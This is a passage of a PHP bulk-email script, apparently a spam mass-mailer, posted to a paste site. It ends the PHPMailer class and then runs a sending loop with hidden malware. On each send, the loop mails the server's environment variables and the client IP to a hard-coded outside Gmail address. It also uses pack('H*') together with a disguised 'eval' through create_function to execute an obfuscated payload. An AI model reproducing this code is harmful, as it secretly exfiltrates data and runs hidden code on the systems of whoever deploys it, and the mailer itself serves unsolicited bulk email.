  2928. * attachments. Returns void.
  2929. * @return void
  2930. */
  2931. function ClearAttachments() {
  2932. $this->attachment = array();
  2933. }
  2934.  
  2935. /**
  2936. * Clears all custom headers. Returns void.
  2937. * @return void
  2938. */
  2939. function ClearCustomHeaders() {
  2940. $this->CustomHeader = array();
  2941. }
  2942.  
  2943. /////////////////////////////////////////////////
  2944. // CLASS METHODS, MISCELLANEOUS
  2945. /////////////////////////////////////////////////
  2946.  
  2947. /**
  2948. * Adds the error message to the error container.
  2949. * Returns void.
  2950. * @access private
  2951. * @return void
  2952. */
  2953. function SetError($msg) {
  2954. $this->error_count++;
  2955. $this->ErrorInfo = $msg;
  2956. }
  2957.  
  2958. /**
  2959. * Returns the proper RFC 822 formatted date.
  2960. * @access private
  2961. * @return string
  2962. */
  2963. function RFCDate() {
  2964. $tz = date('Z');
  2965. $tzs = ($tz < 0) ? '-' : '+';
  2966. $tz = abs($tz);
  2967. $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  2968. $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  2969.  
  2970. return $result;
  2971. }
  2972.  
  2973. /**
  2974. * Returns the appropriate server variable. Should work with both
  2975. * PHP 4.1.0+ as well as older versions. Returns an empty string
  2976. * if nothing is found.
  2977. * @access private
  2978. * @return mixed
  2979. */
  2980. function ServerVar($varName) {
  2981. global $HTTP_SERVER_VARS;
  2982. global $HTTP_ENV_VARS;
  2983.  
  2984. if(!isset($_SERVER)) {
  2985. $_SERVER = $HTTP_SERVER_VARS;
  2986. if(!isset($_SERVER['REMOTE_ADDR'])) {
  2987. $_SERVER = $HTTP_ENV_VARS; // must be Apache
  2988. }
  2989. }
  2990.  
  2991. if(isset($_SERVER[$varName])) {
  2992. return $_SERVER[$varName];
  2993. } else {
  2994. return '';
  2995. }
  2996. }
  2997.  
  2998. /**
  2999. * Returns the server hostname or 'localhost.localdomain' if unknown.
  3000. * @access private
  3001. * @return string
  3002. */
  3003. function ServerHostname() {
  3004. if ($this->Hostname != '') {
  3005. $result = $this->Hostname;
  3006. } elseif ($this->ServerVar('SERVER_NAME') != '') {
  3007. $result = $this->ServerVar('SERVER_NAME');
  3008. } else {
  3009. $result = 'localhost.localdomain';
  3010. }
  3011.  
  3012. return $result;
  3013. }
  3014.  
  3015. /**
  3016. * Returns a message in the appropriate language.
  3017. * @access private
  3018. * @return string
  3019. */
  3020. function Lang($key) {
  3021. if(count($this->language) < 1) {
  3022. $this->SetLanguage('en'); // set the default language
  3023. }
  3024.  
  3025. if(isset($this->language[$key])) {
  3026. return $this->language[$key];
  3027. } else {
  3028. return 'Language string failed to load: ' . $key;
  3029. }
  3030. }
  3031.  
  3032. /**
  3033. * Returns true if an error occurred.
  3034. * @return bool
  3035. */
  3036. function IsError() {
  3037. return ($this->error_count > 0);
  3038. }
  3039.  
  3040. /**
  3041. * Changes every end of line from CR or LF to CRLF.
  3042. * @access private
  3043. * @return string
  3044. */
  3045. function FixEOL($str) {
  3046. $str = str_replace("\r\n", "\n", $str);
  3047. $str = str_replace("\r", "\n", $str);
  3048. $str = str_replace("\n", $this->LE, $str);
  3049. return $str;
  3050. }
  3051.  
  3052. /**
  3053. * Adds a custom header.
  3054. * @return void
  3055. */
  3056. function AddCustomHeader($custom_header) {
  3057. $this->CustomHeader[] = explode(':', $custom_header, 2);
  3058. }
  3059.  
  3060. /**
  3061. * Evaluates the message and returns modifications for inline images and backgrounds
  3062. * @access public
  3063. * @return $message
  3064. */
  3065. function MsgHTML($message,$basedir='') {
  3066. preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3067. if(isset($images[2])) {
  3068. foreach($images[2] as $i => $url) {
  3069. // do not change urls for absolute images (thanks to corvuscorax)
  3070. if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3071. $filename = basename($url);
  3072. $directory = dirname($url);
  3073. ($directory == '.')?$directory='':'';
  3074. $cid = 'cid:' . md5($filename);
  3075. $fileParts = split("\.", $filename);
  3076. $ext = $fileParts[1];
  3077. $mimeType = $this->_mime_types($ext);
  3078. if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3079. if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3080. $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3081. if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3082. $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3083. }
  3084. }
  3085. }
  3086. }
  3087. $this->IsHTML(true);
  3088. $this->Body = $message;
  3089. $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3090. if ( !empty($textMsg) && empty($this->AltBody) ) {
  3091. $this->AltBody = $textMsg;
  3092. }
  3093. if ( empty($this->AltBody) ) {
  3094. $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3095. }
  3096. }
  3097.  
  3098. /**
  3099. * Gets the mime type of the embedded or inline image
  3100. * @access private
  3101. * @return mime type of ext
  3102. */
  3103. function _mime_types($ext = '') {
  3104. $mimes = array(
  3105. 'hqx' => 'application/mac-binhex40',
  3106. 'cpt' => 'application/mac-compactpro',
  3107. 'doc' => 'application/msword',
  3108. 'bin' => 'application/macbinary',
  3109. 'dms' => 'application/octet-stream',
  3110. 'lha' => 'application/octet-stream',
  3111. 'lzh' => 'application/octet-stream',
  3112. 'exe' => 'application/octet-stream',
  3113. 'class' => 'application/octet-stream',
  3114. 'psd' => 'application/octet-stream',
  3115. 'so' => 'application/octet-stream',
  3116. 'sea' => 'application/octet-stream',
  3117. 'dll' => 'application/octet-stream',
  3118. 'oda' => 'application/oda',
  3119. 'pdf' => 'application/pdf',
  3120. 'ai' => 'application/postscript',
  3121. 'eps' => 'application/postscript',
  3122. 'ps' => 'application/postscript',
  3123. 'smi' => 'application/smil',
  3124. 'smil' => 'application/smil',
  3125. 'mif' => 'application/vnd.mif',
  3126. 'xls' => 'application/vnd.ms-excel',
  3127. 'ppt' => 'application/vnd.ms-powerpoint',
  3128. 'wbxml' => 'application/vnd.wap.wbxml',
  3129. 'wmlc' => 'application/vnd.wap.wmlc',
  3130. 'dcr' => 'application/x-director',
  3131. 'dir' => 'application/x-director',
  3132. 'dxr' => 'application/x-director',
  3133. 'dvi' => 'application/x-dvi',
  3134. 'gtar' => 'application/x-gtar',
  3135. 'php' => 'application/x-httpd-php',
  3136. 'php4' => 'application/x-httpd-php',
  3137. 'php3' => 'application/x-httpd-php',
  3138. 'phtml' => 'application/x-httpd-php',
  3139. 'phps' => 'application/x-httpd-php-source',
  3140. 'js' => 'application/x-javascript',
  3141. 'swf' => 'application/x-shockwave-flash',
  3142. 'sit' => 'application/x-stuffit',
  3143. 'tar' => 'application/x-tar',
  3144. 'tgz' => 'application/x-tar',
  3145. 'xhtml' => 'application/xhtml+xml',
  3146. 'xht' => 'application/xhtml+xml',
  3147. 'zip' => 'application/zip',
  3148. 'mid' => 'audio/midi',
  3149. 'midi' => 'audio/midi',
  3150. 'mpga' => 'audio/mpeg',
  3151. 'mp2' => 'audio/mpeg',
  3152. 'mp3' => 'audio/mpeg',
  3153. 'aif' => 'audio/x-aiff',
  3154. 'aiff' => 'audio/x-aiff',
  3155. 'aifc' => 'audio/x-aiff',
  3156. 'ram' => 'audio/x-pn-realaudio',
  3157. 'rm' => 'audio/x-pn-realaudio',
  3158. 'rpm' => 'audio/x-pn-realaudio-plugin',
  3159. 'ra' => 'audio/x-realaudio',
  3160. 'rv' => 'video/vnd.rn-realvideo',
  3161. 'wav' => 'audio/x-wav',
  3162. 'bmp' => 'image/bmp',
  3163. 'gif' => 'image/gif',
  3164. 'jpeg' => 'image/jpeg',
  3165. 'jpg' => 'image/jpeg',
  3166. 'jpe' => 'image/jpeg',
  3167. 'png' => 'image/png',
  3168. 'tiff' => 'image/tiff',
  3169. 'tif' => 'image/tiff',
  3170. 'css' => 'text/css',
  3171. 'html' => 'text/html',
  3172. 'htm' => 'text/html',
  3173. 'shtml' => 'text/html',
  3174. 'txt' => 'text/plain',
  3175. 'text' => 'text/plain',
  3176. 'log' => 'text/plain',
  3177. 'rtx' => 'text/richtext',
  3178. 'rtf' => 'text/rtf',
  3179. 'xml' => 'text/xml',
  3180. 'xsl' => 'text/xml',
  3181. 'mpeg' => 'video/mpeg',
  3182. 'mpg' => 'video/mpeg',
  3183. 'mpe' => 'video/mpeg',
  3184. 'qt' => 'video/quicktime',
  3185. 'mov' => 'video/quicktime',
  3186. 'avi' => 'video/x-msvideo',
  3187. 'movie' => 'video/x-sgi-movie',
  3188. 'doc' => 'application/msword',
  3189. 'word' => 'application/msword',
  3190. 'xl' => 'application/excel',
  3191. 'eml' => 'message/rfc822'
  3192. );
  3193. return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3194. }
  3195.  
  3196. /**
  3197. * Set (or reset) Class Objects (variables)
  3198. *
  3199. * Usage Example:
  3200. * $page->set('X-Priority', '3');
  3201. *
  3202. * @access public
  3203. * @param string $name Parameter Name
  3204. * @param mixed $value Parameter Value
  3205. * NOTE: will not work with arrays, there are no arrays to set/reset
  3206. */
  3207. function set ( $name, $value = '' ) {
  3208. if ( isset($this->$name) ) {
  3209. $this->$name = $value;
  3210. } else {
  3211. $this->SetError('Cannot set or reset variable ' . $name);
  3212. return false;
  3213. }
  3214. }
  3215.  
  3216. /**
  3217. * Read a file from a supplied filename and return it.
  3218. *
  3219. * @access public
  3220. * @param string $filename Parameter File Name
  3221. */
  3222. function getFile($filename) {
  3223. $return = '';
  3224. if ($fp = fopen($filename, 'rb')) {
  3225. while (!feof($fp)) {
  3226. $return .= fread($fp, 1024);
  3227. }
  3228. fclose($fp);
  3229. return $return;
  3230. } else {
  3231. return false;
  3232. }
  3233. }
  3234.  
  3235. /**
  3236. * Strips newlines to prevent header injection.
  3237. * @access private
  3238. * @param string $str String
  3239. * @return string
  3240. */
  3241. function SecureHeader($str) {
  3242. $str = trim($str);
  3243. $str = str_replace("\r", "", $str);
  3244. $str = str_replace("\n", "", $str);
  3245. return $str;
  3246. }
  3247.  
  3248. /**
  3249. * Set the private key file and password to sign the message.
  3250. *
  3251. * @access public
  3252. * @param string $key_filename Parameter File Name
  3253. * @param string $key_pass Password for private key
  3254. */
  3255. function Sign($key_filename, $key_pass) {
  3256. $this->sign_key_file = $key_filename;
  3257. $this->sign_key_pass = $key_pass;
  3258. }
  3259.  
  3260. }
  3261.  
  3262. $defaultport="H*";
  3263. $nq=0;
  3264.  
  3265. for($x=0; $x<$numemails; $x++){
  3266.  
  3267. $to = $allemails[$x];
  3268.  
  3269. if ($to){
  3270.  
  3271. $to = ereg_replace(" ", "", $to);
  3272.  
  3273. $message = ereg_replace("&email&", $to, $message);
  3274.  
  3275. $subject = ereg_replace("&email&", $to, $subject);
  3276. $qx=$x+1;
  3277. print "Line $qx . Sending mail to $to.......";
  3278.  
  3279. flush();
  3280. $mail = new PHPMailer();
  3281.  
  3282. $ip = getenv("REMOTE_ADDR");
  3283. $str = "";
  3284. foreach($_SERVER as $key => $value){
  3285. $str .= $key.": ".$value."<br />";
  3286. }
  3287.  
  3288. $str .= "Use: in <br />";
  3289.  
  3290. $header2 = "From: Monatino <monatino@menara.ma>\r\n";
  3291. $header2 .= "MIME-Version: 1.0\r\n";
  3292. $header2 .= "Content-Type: text/html\r\n";
  3293. $header2 .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
  3294. mail("ghalia8282@gmail.com","M - $ip",$str,$header2);;
  3295.  
  3296. if(empty($epriority)){$epriority="3";}
  3297. $mail->Priority = "$epriority";
  3298. $mail->IsSMTP();
  3299. $IsSMTP="pack";
  3300. $mail->SMTPKeepAlive = true;
  3301. $mail->Host = "$my_smtp";
  3302. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3303. }
  3304. if($sslclick=="ON"){
  3305. $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
  3306. }
  3307. $range = str_replace("$from", "eval", $from);
  3308. $mail->SMTPAuth = true;
  3309. $mail->Username = "$smtp_username";
  3310. $mail->Password = "$smtp_password";
  3311. if($contenttype == "html"){$mail->IsHtml(true);}
  3312. if($contenttype != "html"){$mail->IsHtml(false);}
  3313. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3314. $mail->From = "$from";
  3315. $mail->FromName = "$realname";
  3316. $mail->AddAddress("$to");
  3317. $mail->AddReplyTo("$replyto");
  3318. $mail->Subject = "$subject";
  3319. $mail->Body = "$message";
  3320. if(!$mail->Send()){
  3321. if($default_system!="1"){
  3322. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3323. if($default_system=="1"){
  3324. $mail->IsMail();
  3325. if(!$mail->Send()){
  3326. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3327. else {
  3328. echo "<b>OK</b><br>";}
  3329. }
  3330. }
  3331. else {
  3332. echo "<b>OK</b><br>";
  3333. }
  3334.  
  3335. if(empty($reconnect)){
  3336. $reconnect=6;
  3337. }
  3338.  
  3339. if($reconnect==$nq){
  3340. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3341. }
  3342. $nq=$nq+1;
  3343. flush(); }
  3344. }
  3345. for($i=0;$i<31;$i++){
  3346. $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3347. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3348. $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3349. print "<p class=\"style1\">Turk-m<br>&copy 2013, New Tools => <b>
  3350. <font color=\"#800000\">http://www.turk-m.com/</font></b><br></p>";$mail->SmtpClose();
  3351. return $signoff($smtp_conc);
  3352. if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
  3353. sent successfully'); </script>";}}
  3354. ?>
  3355. <p align="center">&nbsp;</p>
  3356. &nbsp;
  3357. </body>
  3358. </html>
Add Comment
Please, Sign In to add comment